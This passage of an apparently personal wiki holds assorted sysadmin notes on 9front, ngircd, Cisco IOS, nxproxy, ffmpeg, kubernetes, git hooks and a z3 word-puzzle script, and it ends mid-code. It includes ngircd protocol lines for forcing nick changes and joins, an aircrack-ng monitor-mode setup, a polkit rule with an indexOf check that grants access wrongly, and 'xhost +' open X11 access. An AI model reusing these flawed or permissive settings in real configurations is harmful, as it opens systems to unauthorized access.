            return polkit.Result.YES;

        if (restrictedActions.indexOf(api) >= 0 && subject.groups.indexOf("virtusers")) {
		if (!domain || domain.match(new RegExp("^"+subject.user+"-")))
                    return polkit.Result.YES;
        }

        return polkit.Result.NO;
    }
});

polkit.addRule(function(action, subject) {
    if (action.id == "org.libvirt.unix.manage" &&
        (subject.groups.indexOf("virtadmins") >= 0 || subject.groups.indexOf("virtusers") >= 0)) {
            return polkit.Result.YES;
    }
});

irccloud

irc ident

irccloud's ident strings start with either uid or sid, which signify it is a user (free) or subscriber (paid) account respectively. next is the incremental decimal account id number, which uniquely identifies each account. if a free account is upgraded to a paid one, the uid will change to sid, but the number will not change.

this means to ban an irccloud user, it is a good idea to use a ? (any single character) wildcard like so:

*!?id12345@*.irccloud.com

setup a 9front cpu server

configuring 9front as a cpu server will allow drawterm'ing in

table of contents

boot into the 9front iso

follow the prompts until it brings you into rio with a little usage graph and a terminal

install it to your disk

run inst/start to start the installation

configuring it to be a cpu server

this section is heavily borrowed from this github gist.

setup fileserver listening

mount the 9fat partition with 9fs 9fat and then add service=cpu to /n/9fat/plan9.ini

after rebooting (you can do this with the fshalt command) it will ask you to create a wrkey. enter the hostowner's username for authid. authdom should be a globally unique "authentication domain" (although it does not have to be), just use your domain name if unsure. leave secstore empty. password must be the hostowner's password.

vulpine is eepy says
make sure the password you use is valid! with this setup, it needs to be equal to hostowner (glenda by default)'s password for the hostowner to login to drawterm, and accounts have minimum password requirements. if you need to change it you can use the command auth/wrkey however this seems to delete the passwords of all users

if using cwfs, reboot and stick a -c on the bootargs. then type noauth twice to enable requiring authentication. if you do not wish random people on the internet to be able to access your world-readable files, also type nonone to disable the none account. finally, type end to exit and resume booting. on hjfs, these have sane defaults.

edit your /n/9fat/plan9.ini again, this time adding -a tcp!*!564 if using cwfs or -A -a tcp!*!564 if using hjfs to the end of the bootargs line. reboot to test if it worked, and if it did, consider changing bootargs to nobootprompt so you will not have to press enter to boot it up.

setup auth listening

run ndb/query sys <sysname> and then fill out the information into /lib/ndb/local and uncomment the auth and ipnet blocks near the bottom.

  • set auth and cpu to your sysname

  • authdom must be what we set it to before, set ipnet to the same

  • ipmask ipgw and dns should be set to the values from query

  • ip should be the subnet id, not your actual ip. if you want to set a static ip, do that at the line outside the block, adding an ip field to the sys=sysname ether=stuff line

reboot and then you can set a password to your hostowner with auth/changeuser your-hostowner-name

run netaudit to make sure everything's setup fine

reproducing git archives

github

github seems to use the America/Los_Angeles timezone when making their archives, you'll need to use it for reproducing zip archives, since zip includes the current timezone for some reason.

ngircd s2s

handshake

courtesy of Noisytoot

PASS hunter2 0210-IRC+ whatever|1.0:CHLMoSX
SERVER name.example :description
376 uplink.example :End

SVSNICK and user modes

ngircd allows any server to use SVSNICK. it even allows any server to set umodes on anyone for some reason.

:server. SVSNICK Noisytoot pissnet
:server. MODE Noisytoot +w

force join

:server. NJOIN #forcejoin Noisytoot

introducing a server

:server. SERVER another.server 1 1 :description

introducing a client

:server. NICK doot 1 username host 1 + :realname

introducing a service

:server. SERVICE BoopServ 1 * + 1 :realname

METADATA

:server. METADATA jmjl accountname :youraccount
:server. METADATA jmjl certfp :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
:server. METADATA jmjl cloakhost :stuff.to.show.when.plus.x
:server. METADATA jmjl host :stuff.to.show.when.minus.x
:server. METADATA jmjl info :my cool gecos
:server. METADATA jmjl user :~username

screen

using as a serial console

when invoked with the path to a device and a baud rate, screen can act like a simple serial console

screen /dev/ttyACM0 38400

[2023-07-09 Sun]: make sure you can access the device first, for example by adding yourself to the uucp group

^H for backspace

the screen command

bindkey "\177" stuff ^H

rebinds the delete key to ^H

git notes

git notes are a somewhat obscure feature to allow the addition of commentary to existing commits without breaking history. you can read more about them on this cool blog

support on forges

namesupport
forgejoyes!
cgityes!
stagitno (unless you use xfnw's fork)
githubno (used to, but got removed >:c )
srhtno
gitwebno
gotwebTODO
gitlabTODO
phabricatorTODO

magic sysrq

sysrq is a special key combination that allows sending commands directly to the linux kernel, even if userspace is broken/frozen.

enabling it

the /proc/sys/kernel/sysrq file accepts a bitmask written to it, to control which sysrq features are enabled. a 0 disables all sysrq features, while 1 enables all of them. see the kernel documentation for more granular control of sysrq features

since procfs options are not persistant over reboots, it can be enabled persistantly with the sysctl option kernel.sysrq=1 in /etc/sysctl.d/ or by setting the sysrq_always_enabled=1 kernel parameter if you need it before the filesystem mounts

key combinations

sysrq can be used by holding alt, then hitting sysrq (print screen, you may have to press fn too), then releasing all keys except for alt, the letter(s) you want can be pressed. you can do multiple sysrq commands without needing to press sysrq again by continuing to hold alt.

keybehavior
fforce an OOM kill now, even if not out of memory. mey help with a freeze
nnice real-time tasks, may also help with a freeze
kkill current console, can be used as a "secure attention key"
0-9set kernel verbosity
vforce viewing framebuffer (show console)
hprint sysrq helptext to the kernel log, to see more keys not listed here
runraw the keyboard, to take back control from something like X11
esigterm (gracefull kill) all tasks
isigkill all tasks
ssync disks
uunmount disks (sync first to avoid a dirty unmount)
bforce a reboot

the reisub mnemonic (with a few seconds between each key) may be used to gracefully reboot. however, realistically with modern CoW and journaling filesystems, there is not much reason to use it over just holding down the power button

iproute2

iproute2, better known as the ip command, is a replacement for the old route and ipconfig utilities.

it lets you abbreviate subcommands, ie ip route -> ip r, ip address -> ip a.

routes

ip r

will list the current routes.

add -6 to show for ipv6

ip -6 r

adding a route

ip r add default via 192.168.1.1

adds a default route to a gateway at 192.168.1.1. a CIDR can be used instead of default. default is roughly equivalent to a 0.0.0.0/0 or a ::/0 route.

dev devicename can be added to restrict it to devicename.

deleting a route

ip r del default

will delete the default route.

addresses

ip a

will list the addresses and status of your networking devices.

adding an address

ip a a 127.6.2.1/32 dev lo

adding more specific loopback addresses is useful for making programs that do not allow configuring this bind to a different ip, for example changing the source for clients using a tor hidden service on irc

down/up

ip link set wlan0 up

will set device wlan0 up.

address sanitizer

address sanitizer is google's cool memory checker thingy

sadly, you may have trouble when using musl libc

using it

if your compiler has address sanitizer support, add -fsanitize=address to your CFLAGS. you probably also want -g debug symbols, to make address sanitizer output more useful.

minetest mods

mods xfnw uses, in addition to stuff in Dreambuilder

digilines digistuff display_modpack firealarm handdryer laptop mesecons_carts player_textures skinsdb digiscreen digiterms elevatorparts flatperiod icemachine letters ltc4000e pbj_pup printer vehicle_mash

mods that are not in minetest's mod list are probably from https://cheapiesystems.com/git/

pbj_pup is from https://github.com/minetest-mods/pbj_pup. there seems to be different implementations of pbj_pup and this is the one with the sounds

building a 9front iso

instructions for building an iso are detailed in fqa 5.3.

5.3 - Building an ISO

The 9front ISO is a livecd that also serves as install media.

Note: Currently, only the 386 and amd64 architectures have downloadable ISOs (rpi has a bootable image). Read: FQA 8.9 - Bootstrapping architectures not included on the ISO for more information on booting other architectures.

# put your root file system into /n/src9~\\ ~bind /root /n/src9

# put your hg repository there~\\ ~bind -ac /dist/plan9front /n/src9

~# build the iso~
cd /sys/lib/dist~\\ ~mk /tmp/9front.$objtype.iso

other than that 'hg' should probably be 'git' unless you are using some ancient 9front version. it seems to work

it also seems to do weird stuff if you are cross-compiling the iso, you might have to install the target arch as your current system[citation needed]

fuzzball muck

fuzzball is a cool MUCK server

exits that take parameters

when trying to make an exit that runs some MPI with @fail when visited, the destination needs to point at NIL for the exit to be used with a parameter

imagemagick

imagemagick is a command-line image manipulation tool.

table of contents

precedence

options are done in order, so an option needs to be before other options to effect them. for example to turn off dithering with +dither, you have to put that before other things that would use dithering.

colors

invert colors

use the -negate option

convert colors to monochrome

use the -monochrome option

convert to grayscale

use -colorspace gray.

you can limit the number of colors with -colors and turn off dithering with +dither, though this seems to really highlight artifacts if using jpeg.

occationally, especially if you only have a few colors, this can actually produce larger file sizes than just normal indexed colors. if using PNG, you can prefix the filename with PNG8: to force normal colors which can then be indexed using something like pngo. do check the size though, this can also make the size much larger.

remove alpha

use the -flatten option for this. you can also set the -background color to a color beforehand if you want to replace the alpha with a specific color.

local adaptive threshold

the -lat option takes window dimentions and an offset as an argument, and then does a local threshold to get 1-bit color that still preserves detail even with darker/lighter areas.

may benefit from -alpha deactivate and/or -colorspace gray beforehand. adding an offset can sometimes help make the output less noisy, like 10x10+621

transforms

flip flops

-flip and -flop will vertically and horizontally flip an image respectively

tangling with org

tangle is a system for creating source files from org babel (literate programming)'s src blocks

table of contents

shortcuts

shortcutwhat it does
C-c C-c(in a src block) execute it
C-c 'open src block in a new buffer
C-c C-v ttangle
C-c C-v d"demarcate" (split) a block in two
M-x o-j RET RETjump from tangled block back to source org
M-x o-det RET RETdetangle tangled block

tangling

src blocks with a :tangle filename will get tangled

detangling

maybe untangling too?

comments

detangle requires comments be put into the source file to work. stick :comments link to your #+begin_src line to enable these. to enable them for all tangle blocks, use #+PROPERTY:

#+PROPERTY: header-args :tangle yes :comments link

hexchat

running script commands on connect

the on-connect commands tab in the server settings seem to not like script commands. you can (ab)use timer to search for script commands.

timer 1 mycoolcommand meow

M-a

the keybind M-a (aka alt+a for non-emacsulates) in hexchat is hardcoded in the gtk frontend to toggling away, in contrast to other clients which use this for channel switching.

to change it, you must change the source code and recompile. my hexchat fork does this, allowing you to bind it like any other key.

current blog posts

there is also an atom feed for blog posts

2025

2024

ffmpeg looping

looping video until audio ends

ffmpeg -stream_loop -1 -i something.mp4 -i stuff.mp3 -shortest -map 0:v:0 -map 1:a:0 meow.mp4

OvO

logisim evolution

converting between logic and data values

in logisim, inputs and outputs have a 'bitwidth', kind of like a 'type' in a programming language. normal logic gates and stuff have a bitwidth of 1.

a 'splitter' (in the wiring category) can be used to convert between different bitwidths. set the 'fan out' value to the number of connections you want on a side (the other side will always have one) and 'bit width in' to the bitwidth you want for the side with one connection. there is no 'reverse splitter'; despite the name and the 'bit width in' option, the splitter can be used in reverse direction, combining stuff into one output if you want!

pixelflut

Pixelflut is a simple protocol for collaboratively editing pixels

table of contents

protocol

there are 3 commands in the official specs, HELP SIZE and PX

  • HELP returns a small helptext.

  • SIZE returns the resolution of pixels you can edit, in the form of SIZE <x> <y>, for example SIZE 1366 768

  • PX <x> <y> returns the color of the pixel at that position, in the form of PX <x> <y> <color>, for example PX 400 20 00FF00

  • PX <x> <y> <color> sets the color of the pixel at that position and does not have to return anything

however some implementations add extra commands, like OFFSET

servers

fun

awk

you can pipe your pixelflut lines through awk(1) to have interesting effects, for example making images bendy

tangle/flutskew.awk
{$2=($2+($3**1.7)/60) % 1024; print}

see also

power prices

gasoline

1 gasoline = 25 seconds of 80 ku = 1.6666 kud

cant easily buy, have a lot though

coal or fuel oil

1 coal = 20 seconds of 80 ku = 1.3333 kud

1 coal / 5 mg = 0.2666 kud / mg

1 irl day of power would cost around 40500 mg

fuel oil burns at the same rate, but cant easily buy, have a lot though

cheapie

.10 mg per kud

1/_ = 10 kud / mg

1 irl day of power would cost around 1080 mg

selling coal in the spawn shop and then using it to buy power from cheapie gets 37.5 times more power than burning it. cheapie is really putting the cheapie in cheapie

gnu debugger

gdb is a useful debugger

for c segmentation faults, you may also want address sanitizer

useful commands

gdb has tons of commands. these are the ones i use most often.

abbrevcommanddescription
rrunstart execution, from the beginning
bbreakcreate a breakpoint
ddeletedelete a breakpoint or clear all breakpoints
sstepdo one instruction
nnextstep until the next line
fframeshow where you are in execution again
finfinishstep until the current funtion returns
llistshow the source code
pprintget the value of variable
btbacktraceshow the backtrace

logging

enable logging to gdb.txt with set log en on (short for set logging enabled on )

full backtrace

an extra verbose backtrace can be obtained with bt full. if the program has multiple threads, this can be applied to all of them with th a a bt full (short for thread apply all backtrace full)

debuginfod

gdb supports an automatic debug symbol downloading service called debuginfod. this means you will usually not have to go search for a package providing debug symbols for some library and restart your debugging.

shell script finger daemon

add this script to your inetd, and add text files or executables to /home/finger/fingers for a simple finger daemon

tangle/finger.sh
cd /home/finger/fingers || exit

user="$(head -n1 | sed 's/[^a-zA-Z0-9]//g')"

if [[ -f "./$user" ]]
then
	if [[ -x "./$user" ]]
	then
		"./$user"
	else
		cat "./$user"
	fi
else
	echo no such user.
fi

lavfi live oscilloscope

this pipeline turns your pulseaudio monitor into an oscilloscope using ffmpeg, lavfi, and mpv

ffmpeg -f pulse -i 0 -acodec copy -flags low_delay -fflags nobuffer -f wav - |
mpv - --config=no --background=color --mute -untimed --profile=low-latency \
--lavfi-complex='[aid1]asplit[ao][a1];[a1]avectorscope=r=25:m=lissajous_xy:bc=100:gc=100:rc=75:bf=255:gf=80:rf=255:mirror=y:zoom=1[vo]' \

dispite all the low latency options stuck on there, there's still around a half-second of latency. this can be squeezed down slightly by using the seek bar in mpv to move it to the end, but even then there is still slight latency

you can add :draw=line to the --lavfi-complex option to draw lines instead of dots, which can make complex stuff render better, at the cost of it becoming somewhat blocky and giving lines to things that would normally be moving fast enough to be somewhat hidden

aircrack-ng

debugging

if you cannot enter monitor/promiscuous mode, killing everything using the interface may help

airmon-ng check kill

monitor mode

many guides use deprecated iwconfig for this, however iw should be used instead

iw <interface> set monitor <mode>

where <interface> is your device name (ie wlan0), and <mode> is what you want to monitor (probably control or none)

alternatively, starting many aircrack utilities including airmon-ng or besside-ng will put it into monitor mode for you

return to normal networking

you will need to exit monitor mode, set the interface to up, and restart all the things killed. an easy way to do this is with your init system's networking (or similar) service.

service networking restart

will do so on alpine (openrc)

sunfish postmarketos adventures

vulpine is eepy says
ive given up on this and just use graphene os for the time being

prior art

3a merge request

wiki page

soc page

aceofspades guide porting to a new device

cisco

table of contents

IOS

domain-lookup

by default when not in config mode, unknown commands will be interpreted as domains to look up. this causes it to freeze for a while when typo'ing a command.

to cancel it, press C-S-6, and to disable it entirely, use

no ip domain-lookup

ipv6

its as if they realized how ridiculous some of the syntax was, decided to fix it when implementing ipv6, and then were too afraid of breaking backwards compatibility to fix the ipv4 syntax as well. now there are two, completely different, methods of doing everything, and you need to remember both if you want dual stack ipv6/ipv4.

with that said, there will be separate ipv6 and ipv4 parts for each relevant section.

ipv6 is disabled by default, to enable it:

ipv6 unicast-routing

RIP routing

ipv6

ipv6 router rip myrip
exit
int g0/0
ipv6 rip myrip enable
end

ipv4

router rip
ver 2
network 192.168.100.0
end

access list (firewall)

ipv6

ipv6 access-list mylist
deny tcp fd::/8 host fd40::100:2 eq 22
permit tcp any host fd40::100:3 eq 443
deny tcp any host fd40::100:3
permit any any ! allow everything else, negating the implicit-deny rule
exit
int g0/0
ipv6 traffic-filter mylist in
end

ipv4

access-list 101 deny tcp 192.168.0.0 0.0.255.255 host 192.168.100.2
access-list 101 permit tcp any host 192.168.100.3 eq 443
access-list 101 deny tcp any host 192.168.100.3
access-list 101 permit tcp any any
access-list 101 permit udp any any
access-list 101 permit icmp any any
exit
int g0/0
ip access-group 101 in
end

lists can also be named making it closer to ipv6's syntax:

ip access-list extended mylist
deny...
permit...
exit
int g0/0
ip access-group mylist in
end

security

given that the strongest cryptography it supports can be described as obsolete at best, it is probably a good idea to disable all remote management and just use the serial console.

ssh

ssh requires a hostname and a domain to use for the host key:

hostname beans
ip domain-name example.org

generate an rsa host key, as it does not support elliptic curve cryptography:

crypto key generate rsa

use the maximum number of bits allowed (2048), anything less is insecure.

ssh should automatically start now.

create a user:

username vulpine password aPbqCNpRT9W5ec6CphW6rJy4Dw

time to set the vtys to use it:

line vty 0 15
trans in ssh
login local

packettracer

acquiring

pt officially "only supports ubuntu" when it comes to linux, distributing it as a .deb file. however, after extracting the files inside, it seems to be relatively self-contained and portable. the packettracer AUR package can automate this process, just stick the .deb in with the PKGBUILD and makepkg -si (it cannot download pt itself, as cisco does not provide direct download links).

fonts

pt's font handling is absolutely insane. it lets you choose from only 4 different fonts, all of which are proprietary microsoft ones, and if those are not present, it does not even have the decency to fallback to your system's monospace font. that's right, it uses a variable width font for the console, which literally uses spaces for alignment.

to resolve this, you can install microsoft's fonts with the ttf-ms-fonts AUR package, or an equivalent for your distribution. it is probably also possible to trick it into using another font with an alias in fontconfig, however i was unable to get this to work.

port labels

in Options -> Preferences, turn on Always Show Port Labels in Logical Workspace. no clue why this is not just on by default.

batch editing

holding control while selecting a device to add or connection type will make it go into a batch mode, allowing you to add multiple without having to select it again

using nxproxy

nxproxy is the community maintained old foss version of NoMachine's now proprietary NX protocol. it's like X11 forwarding but a hell of a lot faster. sadly, the community maintained version is based around X11 old enough that it does not support a lot of modern features like graphics acceleration, so this is more for stuff like graphical text editors. if you want remote gaming, you probably want to use something else.

table of contents

simple setup

you probably want to tunnel this over ssh or wireguard etc, as the NX protocol is plaintext. the port will be 4000 plus the display number.

choosing a display number

just pick one that is not in use, if your server is running its own X11 server, then 0 is probably already taken. depending on the server configuration, you may be able to use the who command on it to see which ones are in use.

client setup

X11 access control

give the server access to connect to your client's X11 server. the correct way to do with would be with .Xauthority and such, however we can just use xhost for this.

xhost +

will allow any host to connect to our X11 server (this is a bad idea on a shared system, since anyone with access to your unix socket will be able to mess with your X11 server)

starting nxproxy

nxproxy -S feesh:7

replacing feesh with your server's hostname, and 7 with your chosen display number

use localhost as the hostname if you are doing this over an ssh tunnel

server setup

starting nxproxy

nxproxy -C :7

replacing 7 with your chosen display number

you can start this in the background with a & at the end, if you do not have a terminal multiplexer handy and want to run more stuff from the current terminal

set the DISPLAY and start your application

for example if your display number was 7 and you wanted to connect a graphical session to your emacs daemon

export DISPLAY=:7
emacsclient -c

x2go

x2go is probably a better setup, however i am unable to get it working. it just crashes with nothing useful in it's or X11's logs after connecting

[2022-10-02 Sun]: be careful if you want a functional system! at the time of writing, x2go seems to imperatively change some system stuff when run, with no way to change it back

setting up vnc with xenodm on openbsd

adapted from this guide, but modified to use xenodm

this currently does not work without a video output
table of contents

install x11vnc

pkg_add -U x11vnc

configure x11vnc

create file for password hash

x11vnc -storepasswd /etc/x11vnc.passwd

rc.d

in /etc/rc.conf.local add

x11vnc_flags="-rfbauth /etc/x11vnc.passwd -logfile /var/log/x11vnc -ncache 0 -forever -loop100 -auth guess"

add a -listen and -listen6 to the flags to restrict listening to a specific interface.

add -ssl SAVE_NOPROMPT to automatically make a self-signed ssl certificate and reuse it, or replace SAVE_NOPROMPT with the path to your pem file to use a ca-signed one.

TODO x11 dummy display

skip this part if you already have a display

this section borrows a lot of the Xorg configuration from Xpra.

[2022-10-28 Fri]: this section is not yet well tested, and may have sub-optimal configuration

modeline

use cvt to make a modeline string

for example to create a modeline for a 1366x768 resolution and 30 hz, do

cvt 1366 768 30

xorg conf

create the /etc/X11/xorg.conf.d/ directory if it does not already exist, and create a file called 10-dummy.conf with

Section "Monitor"
  Identifier "dummy_monitor"
  HorizSync 28.0-80.0 # i have no idea what this means
  VertRefresh 48.0-75.0
  # 1366x768 29.89 Hz (CVT) hsync: 23.44 kHz; pclk: 39.75 MHz
  Modeline "1360x768_30.00"   39.75  1366 1399 1527 1696  768 771 781 784 -hsync +vsync
EndSection

Section "Device"
  Identifier "dummy_videocard"
  Driver "dummy"
  Option "ConstantDPI" "true"
  VideoRam 196000
EndSection

Section "Screen"
  DefaultDepth 24
  Identifier "dummy_screen"
  Device "dummy_videocard"
  Monitor "dummy_monitor"
  SubSection "Display"
    Depth 24
    Modes "1360x768_30.00"
  EndSubSection
EndSection

#Section "ServerFlags"
#  Option "DontVTSwitch" "true"
#  Option "AllowMouseOpenFail" "true"
#  Option "PciForceNone" "true"
#  Option "AutoEnableDevices" "false"
#  Option "AutoAddDevices" "false"
#EndSection

Section "InputDevice"
  Identifier "dummy_mouse"
  Option "CorePointer" "true"
  Driver "void"
EndSection

Section "InputDevice"
  Identifier "dummy_keyboard"
  Option "CoreKeyboard" "true"
  Driver "void"
EndSection

replace the modeline with the one you generated in the previous step if nessesary.

enable and start xenodm

rcctl enable xenodm
rcctl start xenodm

enable and start x11vnc

rcctl enable x11vnc
rcctl start x11vnc

xfnw's org wiki thing

stuff here is pretty unorganized, i'll hopefully set up a way to search through it Soon™

there is a lil blog here with its own atom feed and also another atom feed for all recently updated pages

using nixos offline

to rebuild while offline, you'll need to turn off checking cache servers with --option substitute false, since that needs internet access

nixos-rebuild switch --option substitute false

or, if a specific cache is offline, you can override which caches to check with --option binary-caches

nixos-rebuild switch --option binary-caches https://cache.nixos.org/

wasi on 9front

the web assembly system interface allows many command-line utilities to run anywhere, including plan 9! it's like java but simpler, at the cost of not supporting some stuff like networking.

table of contents

runtime

wazero is a zero dependency wasi runtime written in go, it mostly works in 9front

pre-compiled blobs

python3

brettcannon has a build of python 3.12.2. running files works, however time.sleep() errors out due to wazero missing this functionality, and there appears to be some platform-specific bug with the repl that causes it to hang on plan 9.

vulpine is eepy says
ugh, isn't the whole point of wasm to not have platform-specific bugs!?
; hget https://github.com/brettcannon/cpython-wasi-build/releases/download/v3.12.2/python-3.12.2-wasi_sdk-20.zip | unzip -s
; mkdir src
; echo 'print("hewwo")' > src/test.py
; wazero run -mount lib -mount src python.wasm src/test.py
hewwo

php-cgi

vmware-labs' webassembly-language-runtimes has a build of php 8.2.6 in addition to python and ruby.

hi says
it's a bit out of date though, the latest build in their releases is from [2023-12-11 Mon]. since [2024-05-31 Fri] they're seemingly in the process of migrating the repository to some other organization, who still has not touched it as of [2024-09-15 Sun]

the wasmedge variants seem to not be supported by wazero, looks like we're stuck with php-cgi.

; hget https://github.com/vmware-labs/webassembly-language-runtimes/releases/download/php%2F8.2.6%2B20230714-11be424/php-cgi-8.2.6.wasm > php-cgi.wasm
; echo '<?php echo "hewwo";' | wazero run php-cgi.wasm
X-Powered-By: PHP/8.2.6
Content-type: text/html; charset=UTF-8

hewwo

generating gif's with ffmpeg

gif is really a horrible format, avoid it if you can. webp is a much nicer format if you insist on using an image, but dedicated video formats will always be better.

single pass

this is the chonk maximum-quality method. it creates massive files because palettes are not compressed.

ffmpeg -i input.mkv -vf "split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" -loop 0 output.gif

multi pass

multiple passes allows calculating a single, global, palette. this allows the file size to be much smaller.

snippet mostly borrowed from pkh's blog

tangle/ffmpeggif.sh
#!/bin/sh

palette="/tmp/palette.png"
filters="fps=15,scale=320:-1:flags=lanczos"

ffmpeg -i "$1" -vf "$filters,palettegen" -y "$palette"
ffmpeg -i "$1" -i $palette -lavfi "$filters [x]; [x][1:v] paletteuse" -y "$2"

git push to create

several ways to get push to create, which lets you not have to manually create a repo

table of contents

git forges

forgejo

forgejo supports push to create

with app.ini

[repository]
DEFAULT_BRANCH = main
ENABLE_PUSH_TO_CREATE_USER = true
ENABLE_GIT_CREATE_ORG = true
DEFAULT_PUSH_CREATE_PRIVATE = false

or with nixos

services.forgejo = {
  settings.repository.DEFAULT_BRANCH = "main";
  settings.repository.ENABLE_PUSH_CREATE_USER = "true";
  settings.repository.ENABLE_PUSH_CREATE_ORG = "true";
  settings.repository.DEFAULT_PUSH_CREATE_PRIVATE = "false";
};

git.sr.ht

push to create seems to be enabled by default on sourcehut git, though it makes the repo private

ssh connect-command

if you do not want to use a git forge, you can still get push to create by setting this shell script to your ssh user's connect command instead of git-shell

#!/bin/sh

# attempt to stop directory traversal
SSH_ORIGINAL_COMMAND=$(echo "$SSH_ORIGINAL_COMMAND" | sed 's#/##g')

remove_last_quote(){
	handle_repo "${1%\'}"
}

handle_repo(){
	if [ ! -d "$1" ]
	then
		git init --bare "$1" </dev/null >/dev/null 2>&1
	fi
}

case "$SSH_ORIGINAL_COMMAND" in
	git-receive-pack*)
		remove_last_quote "${SSH_ORIGINAL_COMMAND#git-receive-pack \'}"
		;;
	#git-upload-pack*) # if you want clone to create too
	#	remove_last_quote "${SSH_ORIGINAL_COMMAND#git-upload-pack \'}"
	#	;;
esac

git-shell -c "$SSH_ORIGINAL_COMMAND"

kubernetes

debugging a volume

the kubectl debug command is a nice way to mess around with an existing pod by adding ephemeral containers to it. annoyingly, it does not seem to provide a convenient way to access volumes, instead requiring a custom profile json file

echo '{"volumeMounts":[{"mountPath":"/data","name":"datavol"}]}' > profile.json
kubectl debug -it --image busybox --custom profile.json my-cool-pod

longhorn in helm controller

if you've used longhorn for a bit, you'll know that it occasionally shits itself. but if you use the recommended setup for helm controller (setting failurePolicy: abort), it'll still error out even after the original issue is resolved.

Release status is 'failed' and failure policy is 'abort', not 'reinstall'; waiting for operator intervention

so how does one intervene?

by digging around in longhorn's secrets with kubectl get -n longhorn-system secrets

NAME                                     TYPE                 DATA   AGE
longhorn-webhook-ca                      kubernetes.io/tls    2      42d
longhorn-webhook-tls                     kubernetes.io/tls    2      42d
sh.helm.release.v1.longhorn-install.v1   helm.sh/release.v1   1      42d
sh.helm.release.v1.longhorn-install.v2   helm.sh/release.v1   1      42d
sh.helm.release.v1.longhorn-install.v3   helm.sh/release.v1   1      8d
sh.helm.release.v1.longhorn-install.v4   helm.sh/release.v1   1      8d
sh.helm.release.v1.longhorn-install.v5   helm.sh/release.v1   1      77m

and then just deleting the most recent helm.sh one!?

kubectl delete -n longhorn-system secrets sh.helm.release.v1.longhorn-install.v5

and only then will it re-attempt running the helm chart. as far as i can tell, longhorn just does not document this anywhere, i only know about this because of one comment on the github issue about adding helm controller support...

vulpine is eepy says
i realize this is probably a helm-controller thing rather than a longhorn specific thing, but i am leaving this here because longhorn is the only thing in my cluster that constantly breaks like this

docker X11

warning: this is unsuitable for sandboxing, assume giving X11 socket access is equivalent to shell access

forwarding the X11 socket

to allow docker to access your X11 session and start graphical applications

docker run -v \
  /tmp/.X11-unix:/tmp/.X11-unix \
  -e DISPLAY=$DISPLAY -h $HOSTNAME \
  -v $HOME/.Xauthority:/home/user/.Xauthority

hostname-based access control to the local X server

if you did not forward your .Xauthority file, you can still allow connections with the use of the xhost command

  xhost +hostname

where hostname is probably the container id

pngo

pngo is june's png optimisation tool.

seeing as there is no helptext and i have not bothered to install the manpage, here are some common options:

setting output location

by default, it will overwrite the file in place. the -o filename lets you specify the output location. alternatively -c sends to stdout.

force bit depth

the -b option can reduce the number of bits used for each color.

debugging pulseaudio

only gives a dummy output

if you only get a dummy output, it is possible something else is hogging the audio output. run

fuser /dev/snd/*

to see which PID's are using audio devices, and

fuser -k /dev/snd/*

as root to kill them.

python PIL/Pillow

handling truncated images

setting the PIL.ImageFile.LOAD_TRUNCATED_IMAGES "constant" tells pillow whether to allow loading truncated images.

tmux

the interface

hiding the status bar

the status option controls whether the status bar is shown:

set status off

muting the bell

the visual-bell option has the side-effect of turning off the bell:

set visual-bell on

scripting

reading the scrollback buffer

you can nab a copy of the scrollback buffer with capture-pane:

tmux capture-pane -pS -10000 | lolcat

-p sends to stdout, while -S sets the line to start reading from. giving a negative number to -S makes it start that number of lines from the end, ie -10 makes it output the last 10 lines plus the size of the pane

a totally unique title in forty-six characters

when i was watching carykh's new video "This title has twenty-nine letters." the other day, i was thinking about how these self-referential sentences would be a really good problem to feed a SAT solver instead of cary's essentially brute-force approach. surprisingly, skimming the comments, nobody seems to have mentioned this. might as well try it myself, plus it'd be a good opportunity to learn more of z3's z3py python bindings.

the first attempt

i couldn't figure out a way to turn numbers into words, so i just made a function with the first hundred number names asserted

../tangle/wordfun.py
from z3 import *

def gen_numbers(solver):
    numstr = Function('numstr', IntSort(), StringSort())

    # weird numbers
    solver.add(numstr(0) == "zero")
    solver.add(numstr(10) == "ten")
    solver.add(numstr(11) == "eleven")
    solver.add(numstr(12) == "twelve")
    solver.add(numstr(13) == "thirteen")
    solver.add(numstr(14) == "fourteen")
    solver.add(numstr(15) == "fifteen")
    solver.add(numstr(16) == "sixteen")
    solver.add(numstr(17) == "seventeen")
    solver.add(numstr(18) == "eighteen")
    solver.add(numstr(19) == "nineteen")

    for n, w in [(0,""),(2,"twenty"),(3,"thirty"),(4,"fourty"),(5,"fifty"),(6,"sixty"),(7,"seventy"),(8,"eighty"),(9,"ninety")]:
        n *= 10
        if n != 0:
            solver.add(numstr(n) == w)
        solver.add(numstr(n+1) == w+"one")
        solver.add(numstr(n+2) == w+"two")
        solver.add(numstr(n+3) == w+"three")
        solver.add(numstr(n+4) == w+"four")
        solver.add(numstr(n+5) == w+"five")
        solver.add(numstr(n+6) == w+"six")
        solver.add(numstr(n+7) == w+"seven")
        solver.add(numstr(n+8) == w+"eight")
        solver.add(numstr(n+9) == w+"nine")

    return numstr

then it's as simple as asserting a string's length to be some integer and referencing that inside the string

../tangle/wordfun.py
def characters_long(solver):
    numstr = gen_numbers(solver)
    o = String("output")
    l = Int("l")

    solver.add(l == Length(o))
    solver.add(o == Concat("This sentence is ", numstr(l), " characters long"))

and out pops "This sentence is fourtytwo characters long"!

hi says
you spelled forty wrong...
vulpine says
uhhhhh, well that's fine! "fourtytwo" and "forty-two" are the same length so it still works :P

a little "borrowing" from stackoverflow and a pile of z3-friendly expressions to count vowels and consonants later...

../tangle/wordfun.py
# OrdAt stolen from https://stackoverflow.com/a/70689580
def OrdAt(s, i):
    return StrToCode(SubString(s, i, 1))

def IsVowel(c):
    # ", ".join(["c == "+str(ord(a)) for a in 'aeiouAEIOU'])
    return Or(c == 97, c == 101, c == 105, c == 111, c == 117, c == 65, c == 69, c == 73, c == 79, c == 85)

def IsLetter(c):
    return Or(And(c >= 97, c <= 122), And(c >= 65, c <= 90))

def IsConsonant(c):
    return And(IsLetter(c), Not(IsVowel(c)))

def CountVowels(s, l):
    return Sum([IsVowel(OrdAt(s, i)) if 1 else 0 for i in range(l)])

def CountConsonants(s, l):
    return Sum([IsConsonant(OrdAt(s, i)) if 1 else 0 for i in range(l)])

def vowels_con(solver):
    numstr = gen_numbers(solver)
    o = String("output")
    s = StringVal("Thissentencehasvowelsandconsonants")
    v = Int("v")
    c = Int("c")

    def CV(n):
        return CountVowels(numstr(n), 12)
    def CC(n):
        return CountConsonants(numstr(n), 12)

    solver.add(v == Sum(CountVowels(s, 34), CV(v), CV(c)))
